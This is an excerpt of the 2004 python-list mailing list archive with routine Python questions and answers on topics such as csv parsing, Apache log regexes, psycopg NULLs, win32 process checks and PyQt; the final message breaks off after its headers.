>As mentioned above, you _can_ move it out of ZOPE - and as you can access
>rdbms and ldap using sqlmethods or python-scripts with the neccessary
>logic, you could add management areas that control it. But I think you are
>right: you're sort of breaking the point of zope then. You lose a lot of
			.
			.
			.
I believe it's also worth emphasizing that it's possible to
use Zope's security (and proxies and ownership and ...)
withOUT your end-users ever seeing the Zope management 
screens.  Zope's all programmable.  You can make your own
computations about who has permissions to do what, and your
own displays for updating security roles.  While I *think*
Scott knows this, it's merits being explicit.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From fumanchu at amor.org  Sat Feb 28 14:55:26 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sat, 28 Feb 2004 11:55:26 -0800
Subject: Reading newlines from a text file
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561E08@opus.amorhq.net>

Thomas Philips wrote:
> I have a data file that I read with readline(), and would like to
> control the formats of the lines when they are printed. I have tried
> inserting escape sequences into the data file, but am having trouble
> getting them to work as I think they should. For example, if my data
> file has only one line which reads:
> 1\n234\n567
> 
> I would like to read it with a command of the form
> x=datafile.readline()
> 
> and I would like 
> print x 
> 
> to give me
> 1
> 234
> 567
> 
> The readline works like a charm, but the print gives me
> 1\n234\n567
> Clearly the linefeeds are not interpreted as such. How can I get the
> Python interpreter to correctly interpret escape sequences in strings
> that are read from files?

Hi Thomas,

In what environment or tool are you executing "print"? Pythonwin, for
example, works as expected:

>>> x = '1\n234\n567'
>>> x
'1\n234\n567'
>>> print x
1
234
567


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From missive at frontiernet.net  Wed Feb 18 13:25:22 2004
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 18 Feb 2004 18:25:22 GMT
Subject: psycopg NULL
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
	<QfydnSPKk5FhBq7d4p2dnA@giganews.com>
	<slrnc37b2c.1dmr.missive@homer.easthighschool.net>
Message-ID: <slrnc37bgg.1dr1.missive@homer.easthighschool.net>

>> If it is 'pyformat' (Like MySQLdb), then this might work:
>>
>> curs.execute('INSERT INTO foo (i) VALUES (%s)' , None)
>> curs.execute('INSERT INTO foo (i) VALUES (%d)' , None)
>> curs.execute('INSERT INTO foo (i) VALUES (%i)' , None)
>> conn.commit()
>>
>> note: all I did was replace the %'s with commas
>>
>
> That gives a syntax error ... but it is close!
>
>
> vars = {'i': None, 'x': 2, 'y': 1, 'z': None}
> curs.execute('INSERT INTO foo (i) VALUES (%(i)s)', vars)
> conn.commit()
>
>
>
> With the pyformat paramstyle we need the %(varname)s style.
>


Actually, the other way works too, if the 2nd parameter is
a sequence.

curs.execute('INSERT INTO foo (i) VALUES (%s)', (None,))


Thanks again.



From tundra at tundraware.com  Fri Feb 13 04:30:07 2004
From: tundra at tundraware.com (Tim Daneliuk)
Date: 13 Feb 2004 04:30:07 EST
Subject: Understanding CHMOD
In-Reply-To: <8089854e.0402130055.35ed927f@posting.google.com>
References: <8089854e.0402130055.35ed927f@posting.google.com>
Message-ID: <bfhuf1-b0u.ln1@eskimo.tundraware.com>

Fuzzyman wrote:

> Ok.... so I might be a windoze user trying to program CGIs for a Linux
> server.... but Python doesn't seem to go out of it's way to make
> understanding file attributes difficult. The python manual is
> appalling in this are a :-(

These are Unix-style permissions and the right place to
get more info would be a Unix OS man page for 'chmod'.

As it happens, last year, I wrote a Python program that
examines file attributes portably across Win32 and Unix.
You can have a look at the code that does this (among many
other things) at:

http://www.tundraware.com/Software/twander/


> 
> Anyway - I think I've finally worked out that the correct way to get
> (rather than set) the mode of a file is :
> 
> from stat import *
> S_IMODE(os.stat(filepath)[ST_MODE])
> 
> Obvious huh !
> 
> The result will be some bitmasked combination of the following ?
> 
> statlist = [S_ISUID, S_ISGID, S_ENFMT, S_ISVTX, S_IREAD, S_IWRITE,
> S_IEXEC, S_IRWXU, S_IRUSR, S_IWUSR, S_IXUSR, S_IRWXG,
>  S_IRGRP, S_IWGRP, S_IXGRP, S_IRWXO, S_IROTH, S_IWOTH, S_IXOTH]
> 
> Which mean ??????
> 
> Having obtained a result from S_IMODE(os.stat(filepath)[ST_MODE]), how
> do I work out what it means ?
> 
> Thanks.
> 
> Fuzzy
> 
> http://www.voidspace.org.uk/atlantibots/pythonutils.html


-- 
----------------------------------------------------------------------------
Tim Daneliuk     tundra at tundraware.com
PGP Key:         http://www.tundraware.com/PGP/


From amy-g-art at cox.net  Wed Feb 11 16:36:24 2004
From: amy-g-art at cox.net (Amy G)
Date: Wed, 11 Feb 2004 13:36:24 -0800
Subject: Print formatted Strings with Umlauts
References: <91317660.0402111249.4ccc6e24@posting.google.com>
Message-ID: <qfxWb.39658$P17.10491@fed1read03>

Upgrading to 2.3 will probablt solve this problem.  I am using 2.3 and here
is what I get when I try it.

>>> a = '???'
>>> len (a)
3

>>> b = '123'
>>> print "%-5s %-5s\n%-5s %-5s" % (a,a,b,b)

???   ???
123   123




"Joerg Lehmann" <joerg.lehmann at mail.com> wrote in message
news:91317660.0402111249.4ccc6e24 at posting.google.com...
> I am using Python 2.2.3 (Fedora Core 1). The problem is, that strings
containing
> umlauts do not work as I would expect. Here is my example:
>
> >>> a = '???'
> >>> b = '123'
> >>> print "%-5s %-5s\n%-5s %-5s" % (a,a,b,b)
> ??? ???
> 123   123
>
> I would expect, that the displayed width of a or b is the same: 5
characters.
> I also see, that len(a) is 6 (2 bytes per umlaut), whereas len(b) is 3:
>
> >>> print len(a), len(b)
> 6 3
>
> I have tried to set the encoding in site.py to 'latin-1', but it did not
change
> my results. Is there no way to store umlauts in 1 byte??? What is the
right way
> to print strings containing umlauts in a tabular way (same field width)?
>
> Thanks!
> --
> Joerg Lehmann




From bob at redivi.com  Sun Feb 29 15:36:42 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 15:36:42 -0500
Subject: Best way to create a Dictionary from file of Key-Value pairs?
References: <692feddd.0402291222.6f2d619e@posting.google.com>
Message-ID: <2004022915364277923%bob@redivicom>

On 2004-02-29 15:22:32 -0500, ir4u4 at yahoo.com (Equis Uno) said:

> Hi,
> 
> Assume I'm given a 100k file full of key-value pairs:
> 
> date,value
> 26-Feb-04,36.47
> 25-Feb-04,36.43
> 24-Feb-04,36.30
> 23-Feb-04,37.00
> 20-Feb-04,37.00
> 19-Feb-04,37.87
> 
> What is the best way to copy this data into a Dictionary object?

Getting that data into a dictionary is the easy part..  deciding how 
you want to use it is much harder.

Python 2.3 comes with a module designed specifically to read files that 
look like that, so here's a start:

# none of this code is tested
import csv
myfile = file('myfilename')
myfile.readline() # skip "date,value" line
datevaluemap = dict(csv.reader(myfile))

But your dates and values would end up as strings.. so you might want 
to do something like
datevaluemap = dict([(key, float(value)) for (key, value) in 
csv.reader(myfile)])

Which would get your values in as floats, not strings.  The dates would 
still be strings though, and you might want to use a datetime.date 
object for that.  I don't want to demonstrate how to convert those too, 
since it's longer, uglier, and I don't know strftime format codes off 
the top of my head.. but you can look into datetime.date and 
time.strptime.

-bob



From warlock at eskimo.com  Fri Feb 20 04:54:37 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Fri, 20 Feb 2004 01:54:37 -0800
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
Message-ID: <t32hg1-u8n.ln1@grendel.myth>


On Thu, 19 Feb 2004 22:32:24 -0800,
 Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
>> In the meantime, is there some obvious method, or module that I have
>> missed ? 
>
> I use a regular expression:
> import re
> rexp = re.compile('(\d+\.\d+\.\d+\.\d+) - - \[([^\[\]:]+):'
>                    '(\d+:\d+:\d+) -(\d\d\d\d\)] ("[^"]*") '
>                    '(\d+) (-|\d+) ("[^"]*") (".*")\s*\Z')
>
> a = rexp.match(line)
> if not a is None:
>      a.group(1) #IP address
>      a.group(2) #day/month/year
>      a.group(3) #time of day
>      a.group(4) #timezone
>      a.group(5) #request
>      a.group(6) #code 200 for success, 404 for not found, etc.
>      a.group(7) #bytes transferred
>      a.group(8) #referrer
>      a.group(9) #browser
> else:
>      #this line did not match.
>
> That should work for most any line you get, but you may want to run it 
> over a few megs of your logs just to check and see if that else 
> statement is ever caught for a non-empty line.
>
>   - Josiah


thanks, although reading that re makes my brain hurt! :), and I don't
think it handles the case where the dashes are something else (the dash
is a place holder for some data that wasn't there on this request,
bytelength, referrer, something) but I'll look into it, thanks for the
example. 

-- 
Jim Richardson     http://www.eskimo.com/~warlock
Ok, the guy who made the netfilter Makefile was probably on some really
interesting and probably highly illegal drugs when he wrote it.
	-- Linus Torvalds 


From timr at probo.com  Tue Feb 24 02:37:19 2004
From: timr at probo.com (Tim Roberts)
Date: Mon, 23 Feb 2004 23:37:19 -0800
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<40366383$0$3104$61fed72c@news.rcn.com>
Message-ID: <1ivl30dh4a4bfgp1msghvdf6nspnm1p18h@4ax.com>

"Edward C. Jones" <edcjones at erols.com> wrote:
>
>When looking for a parser generator, I think it is important that full 
>grammars be provided for at least C and Python and preferably for C++, 
>Java, and FORTRAN.

Are you kidding with this?  I can't tell.

C, C++, and Fortran are parsing nightmares, where end-of-line and spacing
are important sometimes and ignored at other times, and so on.

I expect to find the canonical desk calculator example, and perhaps a
Pascal-based language, but any more than that is asking a bit much from all
but the most mature parser generators.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From barry at python.org  Wed Feb 18 12:05:30 2004
From: barry at python.org (Barry Warsaw)
Date: Wed, 18 Feb 2004 12:05:30 -0500
Subject: mailing list problems?
In-Reply-To: <20040218155705.GA6709@nl.linux.org>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org> <403360C2.30207@prescod.net>
	<20040218155705.GA6709@nl.linux.org>
Message-ID: <1077123929.13588.63.camel@geddy>

On Wed, 2004-02-18 at 10:57, Gerrit wrote:

> I haven't seem this message, either.
> But I do see a lot of messages coming through now, so it's puzzling.

We're watching this, but expect mail to be slow for a while as it
catches up.  Everything's working, but we got slammed when we turned the
spigot back on from clpy.  It's a very slow machine and it's catching up
as fast as it can.

-Barry





From skip at pobox.com  Fri Feb 27 17:04:32 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 27 Feb 2004 16:04:32 -0600
Subject: Reading data from file: x(i),y(i) form
In-Reply-To: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>
References: <00c301c3fd83$756a26e0$559ea380@D4XN6B41>
Message-ID: <16447.48880.3403.863811@montanaro.dyndns.org>


    Satish> x=[ ]
    Satish> y=[ ]
    ...

    Satish> I get the following error:

    Satish> x[i],y[i]=map(float,line.replace('D','E').split( ))
    Satish> Index Error: list index out of range

That's because at the point you make the assignment neither x nor y have
i'th elements.  Lists are not extended by accessing nonexistent indexes.
You should use x.append and y.append instead (I also prefer list
comprehensions over map()):

    xi,yi= [float(item) for item in line.replace('D','E').split()]
    x.append(xi)
    y.append(yi)

Skip



From jzgoda at gazeta.usun.pl  Wed Feb  4 16:39:03 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Wed, 4 Feb 2004 21:39:03 +0000 (UTC)
Subject: MySQLdb which version for python 2.2.2
References: <bvqt6o$3s9$1@upsn21.u-psud.fr>
Message-ID: <bvropl$4tv$6@nemesis.news.tpi.pl>

Gerard Breiner <gerard.breiner at ias.u-psud.fr> pisze:

> I'd like to know which version of MySQLdb I can install for python 2.2.2
> under RedHat 8.0.

0.9.2 is the last one, I think. Anyway, check project page at
SourceForge.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From nhodgson at bigpond.net.au  Tue Feb 17 03:11:59 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Tue, 17 Feb 2004 08:11:59 GMT
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain> <4qtqi1wt.fsf@python.net>
Message-ID: <j1kYb.63374$Wa.7645@news-server.bigpond.net.au>

Thomas Heller:

> It is getting off-topic, but I still believe that pythonw.exe should be
> improved to show errors in a console window which opens as soon as the
> first output is written to sys.stderr (and sys.stdout also, maybe).

   So if it is being redirected or captured by another application, such as,
say, SciTE, then an extra console window will open up?

   Neil




From tuanglen at hotmail.com  Fri Feb  6 20:20:04 2004
From: tuanglen at hotmail.com (Tuang)
Date: 6 Feb 2004 17:20:04 -0800
Subject: Pythonwin - breaking out of infinite loop
References: <mailman.1029.1075453049.12720.python-list@python.org>
Message-ID: <df045d93.0402061720.47bb6515@posting.google.com>

Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message news:<mailman.1029.1075453049.12720.python-list at python.org>...
> >From: Graham [mailto:gsmith at oxfam.org.uk]
> >How do I stop a Python program running in PythinWin?  I would 
> >expect to be
> >able to use CTR-C or CTRL-break etc.
> >
> 
> Find the Python icon in the systray (next to the clock at the
> bottom right of the screen). Right-click and select
> "Break into running code" (or something like that)

It doesn't seem to work. I've tried it about fifty times (about ten
different runs on various recursive algorithms, clicking it about five
times each until I give up), and it has worked exactly one time.

Is there anything more useful for breaking out of infinite loops /
bottomless recursion / unexpectedly slow algorithms that doesn't bring
down Pythonwin too?


From paul at fxtech.com  Sun Feb  8 10:51:27 2004
From: paul at fxtech.com (Paul Miller)
Date: Sun, 08 Feb 2004 09:51:27 -0600
Subject: Embedding - getting full error string
In-Reply-To: <3d412834.0402080744.78706dd4@posting.google.com>
References: <3d412834.0402080744.78706dd4@posting.google.com>
Message-ID: <6.0.1.1.2.20040208095015.0562f068@mail.fxtech.com>


>static PyObject *mymodule_printit(PyObject *self, PyObject* args)
>{
>         char *s;
>         PyArg_ParseTuple(args, "s", &s);
>         PrintToWindow(s); <-- my function
>         return NULL;
>}

One problem is technically you're returning an error from your print 
function. You need to return an increfed PyNone:

         Py_INCREF(Py_None);
         return Py_None;

Otherwise your code looks pretty much like mine does, and it works fine.






From sridharinfinity at yahoo.com  Mon Feb 16 06:25:54 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 16 Feb 2004 03:25:54 -0800
Subject: Beginners list of Python donloads - please review
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
Message-ID: <930ba99a.0402160325.4a4d0d4c@posting.google.com>

"Will" <wstandley at netpv.com> wrote in message news:<TupXb.39481$Bb.333441 at twister.tampabay.rr.com>...
> Pardon two post in a row to the newsgroup but I want to try and expedite
> this, if you guys don't mind helping out...

   Also check the FAQs in www.python.org

> I running Windows XP Pro and wanted to download Python and any additional
> tools I should consider using as I get going...

  If you're using GNU/Linux, most of them would be installed
_by_default_ !

> 1 - Python-2.3.3.exe from www.Python.org
> 2 - win32all, a collection of Windows-specific extensions including COM
> support and Pythonwin, an IDE built using Windows components from Mark
> Hammond's
> 3 - Py2exe from http://starship.python.net/crew/theller/py2exe/index.html
> 4 - PythonCard from http://pythoncard.sourceforge.net/
> 5 - WxPython from http://www.wxpython.org/

   You shouldn't forget PyGTK (http://pygtk.org).  Also try,
http://gnome.glade.org
search google for windows version of glade and pygtk
GTK is IMO the best Toolkit.  I (and others) also feel that wxWindows
(and thus wxPython) is buggy.  So you're just warned.  But go and
learn them.

> 6 - Python Docs from http://www.python.org/doc/2.3.3/
> 7 - Beginners Guide to Python from http://www.python.org/topics/learn/
> (various options here)
> 
> Please suggest additions or deletions.

  No deletions.  But there are/may be lot of additions. Google for
python to get enormous links.  Enter the query like

[ python -monty ]


> Thanks - Will


From guy.flowers at Machineworks.com  Tue Feb  3 06:53:19 2004
From: guy.flowers at Machineworks.com (Guy)
Date: 3 Feb 2004 03:53:19 -0800
Subject: Is a win32 process running using the pid.
Message-ID: <f3ff61d9.0402030353.7dddde2d@posting.google.com>

Hi, I created a function, which seems to work, quite well, it tells me
if a process is running in widows using the pid number (I'm aware that
the pid number in widows is not called a pid and this is really a unix
thing but what the hell). The function keeps crashing (I've included
the crash but I don't think it will do any good.), only sometimes,
most of the time it works fine and I don't know why, Could any body
suggest anything, maybe someone has a stable function that can do the
below :

CRASH
======

 Traceback (most recent call last):
  File "E:\MW\MAINLINE\Makefile\Build\PCBuild.py", line 607, in ?
    PCBuild_Support.MakefileBuild(Makefile_Modules_lst,Flavour_lst,BuildSetUp,Enviroment)
  File "E:\MW\MAINLINE\Makefile\Build\PCBuild_Support.py", line 100,
in MakefileBuild
    CreateBuildLogs(ModulesBeingBuilt_lst)
  File "E:\MW\MAINLINE\Makefile\Build\PCBuild_Support.py", line 252,
in CreateBuildLogs
    if(process.IsProcessRunning(Build[4]._processId)==N):             
         # Checks to see is process has ended. (The processID is the
pid number
 and is obtained from the process class.(Your Flavorite Simon.))
  File "E:\MW\MAINLINE\Makefile\Build\process.py", line 2450, in
IsProcessRunning
    hcs.append(win32pdh.AddCounter(hq, path))
pywintypes.error: (-1, 'AddCounter', 'No error message is available')

FUNCTION
=========

# IsProcessRunning - Supply the process Id number and this function
will tell you if the process is running or not by returning Y and N.
def IsProcessRunning(pid):
    if sys.platform.startswith("win"):
        object = "Process"
        win32pdh.EnumObjects(None, None, 0, 1)
        items, instances = win32pdh.EnumObjectItems(None,None,object,
win32pdh.PERF_DETAIL_WIZARD)
        # Need to track multiple instances of the same name.
        instance_dict = {}
        for instance in instances:
            try:
                instance_dict[instance] = instance_dict[instance] + 1
            except KeyError:
                instance_dict[instance] = 0
        # Bit of a hack to get useful info.
        items = ["ID Process"] + items[:5]
        for instance, max_instances in instance_dict.items():
            for inum in xrange(max_instances+1):
                try:
                	hq = win32pdh.OpenQuery()
                	hcs = []
                	for item in items:
                    	path = win32pdh.MakeCounterPath(
(None,object,instance, None, inum, item) )
                    	hcs.append(win32pdh.AddCounter(hq, path))
                	win32pdh.CollectQueryData(hq)
                    type, val =
win32pdh.GetFormattedCounterValue(hcs[0],win32pdh.PDH_FMT_LONG)
                except:
                    val=0
                if (val == pid):
                    return Y
                win32pdh.RemoveCounter(hcs[0])
                win32pdh.CloseQuery(hq)
        return N
    else:
        return N

TIA
TTFN
Guy


From squan at web.de  Wed Feb 18 06:04:27 2004
From: squan at web.de (Stefan Quandt)
Date: 18 Feb 2004 03:04:27 -0800
Subject: QWidget casts with PyQt?
Message-ID: <ae5c48d7.0402180304.6fa2aea9@posting.google.com>

Hi,

I want to access widgets from a Qt container widget e.g.
  item = ToolBox.item( 0 )

I know that the item is a QButtonGroup.
The Qt-Library returns a QWidget pointer.
So what I get is a Python QWidget wrapper object.

How can I access the returned item as what it is (as a QButtonGroup)?

Stefan


From david.g.morgenthaler at comcast.net  Sat Feb 14 01:09:37 2004
From: david.g.morgenthaler at comcast.net (david.g.morgenthaler at comcast.net)
Date: Fri, 13 Feb 2004 23:09:37 -0700
Subject: Python GUI Code -- Best Practice
References: <73wu6t5o5t.fsf@random-node.example.org>
Message-ID: <4rer2011745eqqncfelthfekll2tl1etqg@4ax.com>

On Wed, 11 Feb 2004 20:58:22 +0000, Chris Stiles
<rahsct502 at sneakemail.com> wrote:

You might want to get wxGlade and create some apps, then check out
their organization.

>
>Hi --
>
>I'm looking to write some WxPython based applications, and am looking for
>existing applications of moderate complexity in order to read code and gain an
>understanding of how these things are structured.
>
>Tutorials aren't really useful - i've done most of them, and am looking to
>gain more of a 'gesalt' sense of how such programs are structured for real
>purposes. 
>
>Is there anything people would recommend me taking a look at ?
>
>Thanks.



From alloydflanagan at comcast.net  Fri Feb  6 17:17:03 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 6 Feb 2004 14:17:03 -0800
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>
Message-ID: <e838aa6e.0402061417.64e8abd9@posting.google.com>

"Mark Buch" <mark.buch at ewetel.net> wrote in message news:<bvtm5f$pgq$00$1 at news.t-online.com>...
> Hi, is it possible to protect the python sourcecode?
> I have a nice little script and i dont want to show everbody the source.
> 
> Im using python on a windows pc.
> 
> Thank you - Mark

This comes up every once in a while.  If you want to hide your source,
python is probably a bad choice of language -- it's designed to be
easy to understand, and you can probably decompile the byte-code
pretty easily.

Have you considered Perl?  The advantage of Perl is, you could share
the source code with anybody you wanted, and be perfectly safe.  You
can easily write Perl code that makes no sense at all to anyone but
you  :)


From xcombelle at kedros.com  Thu Feb 19 10:22:43 2004
From: xcombelle at kedros.com (Xavier Combelle)
Date: Thu, 19 Feb 2004 16:22:43 +0100
Subject: Converting binaty to ascii
In-Reply-To: <20040219094813.734e9f0f.secchi@sssup.it>
References: <mailman.103.1077104625.31398.python-list@python.org>	<tgq830pa5nqgchj73s27prlf7gnbafd7d6@4ax.com>
	<20040219094813.734e9f0f.secchi@sssup.it>
Message-ID: <4034D4C3.4020504@kedros.com>


>Actually I think is more-or-less standard. The only detailed info I have
> is a so called "tracciato record" (may be "record track" in English)
>in which there is a precise description of "what is where" and how
>long (I do not know precisely the unit of measure...sorry for my
>ignorance) the field is but no info about format.
>  
>
That would be easier with the record track.
The fact is that  a binary file is never standard, in it depend a
lot of the kind of language/hardware which generate it.
The unit of measure is probably the byte

The easier case is if all your data is in ascii format.
for example, if you have a file which is named data.dat
which contain 2 records of 20 bytes each with three fields (5bytes, 10 
bytes, 5 bytes)

data1DATA2_____data3'ata1'ATA2_____'ata3

you can extract it  by using this code

import struct

#here the format of the record
fmt = "5s10s5s"

#caluclate the total size of the record                          
size = struct.calcsize(fmt)

f = file("data.dat")
#read one record
s = f.read(size)
while s:
    print "read =", s
#extracct fields of the record
    d1,d2,d3 = struct.unpack(fmt,s)
#use the record for whatever you want
    print "unpack",d1,d2,d3
#read next record
    s = f.read(size)

here the result of the script

read = data1DATA2_____data3
unpack data1 DATA2_____ data3
read = 'ata1'ATA2_____'ata3
unpack 'ata1 'ATA2_____ 'ata3


The hard point is probably to find the formart string,
but by using the infos you have and the struct help page
http://python.org/doc/2.3.3/lib/module-struct.html
you should succeed.



From chrish at cryptocard.com  Mon Feb 16 08:12:37 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Mon, 16 Feb 2004 08:12:37 -0500
Subject: python vs. perl
In-Reply-To: <20040212170911.22719.00001914@mb-m18.aol.com>
References: <20040212170911.22719.00001914@mb-m18.aol.com>
Message-ID: <hg3Yb.3912$Cd6.174330@news20.bellglobal.com>

Patio87 wrote:

>     Hi I was wondering which was better for doing stuff like, GUI programs, and
> gaming, and maybe even network stuff for games? I know python and am learning
> c++, but because of ease of use I want to know which is better, because I might
> want to drop python and go to perl. Unless Im swayed to stay with
> python......AM I missing out on anything by not knowing perl?

Personally, I prefer Python, C#, and C++ (in that order, usually; depends on 
what I'm doing, what platforms I want to support, etc.) for programming.  I 
find Perl hard to read, despite several attempts to dig into the language.

What I _have_ been using Perl for over the last, oh, 7+ years, is complex 
search and replace... it makes a fantastic sed replacement.

Over the last 9 years, I've been working mostly in SGML and XML, and having 
a killer search/replace tool really makes life easier for tweaking things in 
documents.

The SGML and XML processing tools have always been written in Python though.

Right too for the job, YMMV, etc. ;-)

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From jcarlson at nospam.uci.edu  Sun Feb 22 14:10:17 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 22 Feb 2004 11:10:17 -0800
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402220711.3f7ed46@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
Message-ID: <c1auvl$rq1$2@news.service.uci.edu>


> How is this accomplished using Python?

Check the struct documentation.

  - Josiah


From noemail at noemail4u.com  Tue Feb  3 08:10:55 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Tue, 03 Feb 2004 13:10:55 GMT
Subject: removing spaces when mixing variables / text
References: <pan.2004.02.03.08.14.18.542560@spam.kc.rr.com>
Message-ID: <a5a78c92e76e38efb0be20372764995f@news.teranews.com>

On Tue, 03 Feb 2004 02:14:18 -0600, "tgiles" <tgiles at spam.kc.rr.com>
wrote:

>Ok, I started playing around with random() and decided to write a script
>to generate random dotted quad IP addresses, just to see if I could do it.
>
>Everything is perfect with the glaring exeception of the output. It seems
>as if when one uses the "," in a print statement, you get an empty space
>in between variables and what I want there (namely, the ".").
Mike pointed out one a common idioms that includes a couple of idioms.
To customize it for random IP addresses:

'.'.join([str(random.randint(0,255)) for i in range(4)])

The two idioms are using the string join method to build a single
string from small parts, connecting with a single value.

The other idiom is a list comprehension.  In a list comprehension, you
combine an expression and a loop, sometimes with a condition.  In this
example, the expression str(random.randint(0,255)) is independent of
the loop itself.  The loop is used to iterate 4 times.  I suppose
using range(4) to iterate 4 times could be considered an idiom also.

    --dang


From David  Sat Feb 21 19:17:36 2004
From: David (David)
Date: Sat, 21 Feb 2004 17:17:36 -0700
Subject: int vs. float in benchmark testing
References: <c152au$t58$1@solaris.cc.vt.edu> <40361F50.3D6153C8@engcorp.com>
Message-ID: <36tf309f6r1lhgo8ih7nb18c3nosoth6n0@4ax.com>

On Fri, 20 Feb 2004 09:53:04 -0500, Peter Hansen <peter at engcorp.com>
wrote:

I think you'll mainly be benchmarking the 'print x' rather than the
int/float comparison and int/float addition.

>Bart Nessux wrote:
>> 
>> Would adding .0 to each of the numbers below turn this into a floating
>> point test? Seems too easy.
>> 
>> def cpu_test():
>>     import time
>>     start = time.time()
>>     x = 0                               # 0.0
>>     while x < 9999999:                  # 9999999.0
>>        x = x + 1                                # 1.0
>>        print x
>>     print (time.time()-start)/60
>> cpu_test()
>
>Uh, yes it would, as far as it goes, but are you sure you're
>learning something useful by doing so?  Floats are always slower
>than ints, but you really shouldn't be concerned about speed
>anyway.
>
>The way to decide which to use is this:  if you need floating
>point because you are doing math that involves fractional values,
>then use floating point.  Otherwise use ints.  End of story.
>No performance considerations in most code.
>
>-Peter



From SBrunning at trisystems.co.uk  Fri Feb 13 10:01:03 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Fri, 13 Feb 2004 15:01:03 -0000
Subject: 6 Qustions about Python: Does it do GUI?  more...
Message-ID: <31575A892FF6D1118F5800600846864D01200F82@intrepid>

> From: Will [mailto:k4bda at yahoo.com]
> I just discovered Python and looked briefly at one of the tutorials 
> for beginners...

Welcome!

> It looks a lot like the old Command line Basic... I'm sure it does 
> much more but...
> 
> 1 - Can you create windows, buttons, user input fields, etc as you 
> can with Visual Basic?

Yes - though Python doesn't come with a GUI builder as standard. (The form
builder is the thing that allows you to design your GUI by dragging your
buttons etc. around.) Such things are available for Python, though -
PythonCard (<http://pythoncard.sourceforge.net/>) might be a nice start.

> 2 - Can you call Windows Procedures or what ever they call them 
> these days?

Yes. In fact, I'm not sure what you mean by "Windows Procedures", but a
combination on Mark Hammond's windows extensions
(<http://starship.python.net/crew/mhammond/>) and Thomas Heller's ctypes
(<http://starship.python.net/crew/theller/ctypes/>) allows you to call just
about anything on Windows.

> 3 - Can you create your own objects with a bunch of methods and 
> properties?

Yup, Python's an OO language.

> 4 - Can you create a Windows program that looks and feels like a 
> Windows program?

Yes.

> 5 - Does it come with a compiler or must the user have the 
> interpreter on their machine?

No and no. ;-) Python is a little (lust a little) like Java in this respect
- the user needs the Python virtual machine to run Python software. This is
pretty much bound up with the interpreter, so I think it's fair to say that
the user needs the interpreter.

But, Thomas Heller's py2exe
(<http://starship.python.net/crew/theller/py2exe/>) allows you to bind up
the interpreter and your code into an 'exe' file. For all but a few
purposes, this does what most people want a compiler for.

> 6 - Why another language? Easier than C or C++ or Visual C ?? More 
> powerful than Visual Basic or the competing Borland productg?? Why 
> Python?

Easier than C or C++ or Visual C? Yes. More powerful than Visual Basic and
Delphi (or whatever they are calling it these days)? Also yes.

But mainly, 'cos it's beautiful and fun. And Python is the language for nice
people: <http://www.brunningonline.net/simon/blog/archives/001202.html>.

> I'm interested as I never really took the time to become much of a C 
> programmer (or C++ or Visual C) - I've done lot's of assembly 
> language/embedded processor stuff & years ago Basic and some Visual 
> Basic... before .net... and wondered if Python would do me for some 
> projects I have always wanted to do?

Enjoy!

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/
--LongSig




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From info.jyv at videotron.ca  Wed Feb  4 21:04:01 2004
From: info.jyv at videotron.ca (Jean-Yves Vinet)
Date: Wed, 4 Feb 2004 21:04:01 -0500
Subject: configuring ODBC DSN with a python script
References: <d3be1825.0402041109.4ee4a88d@posting.google.com>
Message-ID: <nwhUb.1091$7P3.198189@wagner.videotron.net>

He is a good site about that

http://www.able-consulting.com/ADO_Conn.htm

JYV

"Jani Yusef" <jani at persian.com> a ?crit dans le message de
news:d3be1825.0402041109.4ee4a88d at posting.google.com...
> I am building an application which, unfortunately, *must* use an
> access db. The users will have the relevane mdb file installed on
> their system. As part of the installer. Now, the part I am stuck on is
> how do I configure the ODBC dsn without having the user open up the
> ODBC control panel which will in all honestly just scare and confuse
> them. ;)
> Has anyone approached this problem before? What did you do?
> Thanks!!




From piet at cs.uu.nl  Mon Feb 16 17:41:25 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 16 Feb 2004 23:41:25 +0100
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
Message-ID: <wz7jymbqay.fsf@cs.uu.nl>

